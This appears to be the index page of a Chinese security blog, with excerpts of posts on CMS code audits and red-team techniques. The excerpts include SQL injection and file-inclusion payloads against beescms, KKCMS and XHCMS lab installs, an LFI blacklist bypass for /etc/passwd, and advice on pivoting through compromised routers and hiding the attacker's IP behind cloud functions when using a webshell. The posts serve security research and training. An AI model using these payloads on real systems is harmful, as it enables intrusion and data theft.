0%

Twitter上见到的一些小trick

1、基于浏览器的应用程序

基于浏览器的应用程序 LFI file:///etc/passwd 列入黑名单?

使用“view-source:file:///etc/passwd” “view-source”经常被开发者遗忘在黑名单中。

image-20220829231104436

2、XSS技巧(1)

html 标记内的正斜杠 (“/”) 会被浏览器自动转换为空格 (“ ”)。例如:

1
<a/b='c'/d='e'/f='g'>X</a>

将自动转换为

1
<a b='c' d='e' f='g'>X</a>
阅读全文 »

攻防演练中边界设备的渗透探索

在攻防演练中,在互联网上获得一些路由器、防火墙等网络设备的弱口令时没有深入利用下去,此前看到过Tide安全团队的文章,利用边界设备搭建VPN隧道,借此机会,深入研究一下。

(1)H3C ER系列路由器

以H3C ER系列路由器为例子搭建L2TP隧道

(1)配置网络服务器(ER路由器)地址池

image-20220821105052422

(2)配置拨号认证账户密码

image-20220821105213294

(3)配置LAC相关信息,VPN登录认证的账号密码可与拨号认证账号密码一致,设置L2TP服务器地址,也就是网络设备出口IP地址。

image-20220821105418654

阅读全文 »

入门MVC结构代码审计

  • **Model :**模型层(用于数据库打交道)
  • **View :**视图层(用于展示内容给用户看)
  • **Controller :**控制层(控制业务逻辑)

M是指业务模型,V是指用户界面,C则是控制器

MVC各部分的职能:

  • 模型Model – 管理大部分的业务逻辑和所有的数据库逻辑。模型提供了连接和操作数据库的抽象层。
  • 控制器Controller - 负责响应用户请求、准备数据,以及决定如何展示数据。
  • 视图View – 负责渲染数据,通过HTML方式呈现给用户。

MVC流程图

一个典型的Web MVC流程:

  1. Controller截获用户发出的请求;
  2. Controller调用Model完成状态的读写操作;
  3. Controller把数据传递给View;
  4. View渲染最终结果并呈献给用户。

MVC 一般有两种审计模式:

直接审计控制器

也就C的内容,再追踪一些函数。全局搜索一下**filt__**,因为 filt 的英文意思为过滤,可以通过全局搜索这样式的函数来查看一下过滤规则。这种一般是比较快速审计。

但是这种情况一般建立在你可以清晰明白该款CMS的路由规则,适合老鸟,方便根据审计出来的漏洞的点去回溯验证

阅读全文 »

beescms

前台管理登录界面注入

http://127.0.0.1/beescms/admin/login.php

1
2
3
4
function fl_html($str){
return htmlspecialchars($str);
}
htmlspecialchars()默认仅编码双引号
1
2
3
4
5
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
1
2
$user=fl_html(fl_value($_POST['user']));
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");

//爆破库名

1
admin'and extractvalue(1,concat(0x7e,select database(),0x7e))#

//利用双写+空格绕过过滤
//爆破表名

1
admin' a and nd extractvalue(1,concat(0x7e,(selselectect table_name fr from om information_schema.tables wh where ere table_schema like 'beescms' limit 0,1),0x7e))#
阅读全文 »

KKCMS v1.32审计

前台注入1

1
http://127.0.0.1:80/kkcms/bplay.php?play=a AND (SELECT 6254 FROM (SELECT(SLEEP(5)))hZmf)

前台注入2

1
http://127.0.0.1:80/kkcms/ucenter/active.php?verify=a' AND (SELECT 7219 FROM (SELECT(SLEEP(5)))VMtB) AND 'qLKJ'='qLKJ

未授权添加用户

1
http://127.0.0.1/kkcms/ucenter/cms_user_add.php

后台注入

1
http://127.0.0.1:80/kkcms/admin/cms_ad_edit.php?id=1 AND (SELECT 3894 FROM (SELECT(SLEEP(5)))RJzc)

这套一堆都是重复的注入

阅读全文 »

熊海CMS V1.0审计

vscode+phpsuty

SQL注入

http://127.0.0.1/xhcms/admin/?r=login

1
user=admin*&password=123456&login=yes

前台文件包含

http://127.0.0.1/xhcms/index.php?r=../../phpinfo

1
2
3
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件

后台文件包含

http://127.0.0.1/xhcms/admin/index.php?r=../../../phpinfo

阅读全文 »

攻防演练之云函数的利用

云函数(Serverless CloudFunction,SCF)是云计算厂商为企业和开发者们提供的无服务器执行环境,可在无需购买和管理服务器的情况下运行代码是实时文件处理和数据处理等场景下理想的计算平台。只需使用 SCF平台支持的语言编写核心代码并设置代码运行的条件,即可在某云基础设施上弹性、安全地运行代码。

由于云函数无法长驻,调用的时候创建,执行完之后立即就销毁,所以无法直接保存状态。也正是这一点,让我们无法代理像 SSH 这种需要长连接的服务,只能代理 HTTP(s) 这种无状态的协议。

云函数不能直接调用,同时还需要创建一个触发器来触发云函数,为了方便,我们选择使用API 网关触发器,只需要一个 HTTP 请求就能触发。

腾讯云函数地址:

https://console.cloud.tencent.com/scf/index

利用云函数的多出口、无需服务器承载的特性,我们可以在实战攻防演练中实现隐藏自身。

具体应用如下:

1、利用云函数API配置蚁剑实现隐藏自身IP连接Webshell

首先创建云函数:

阅读全文 »

SSRF漏洞点位汇总——长期补充

理论上任何带有URL请求的地方都是有可能存在SSRF的。

这里将各个场景补充一下,方便日后测试。

1、文章转发点

转发–>获取url参数数值–>请求该地址–>获取返回信息

阅读全文 »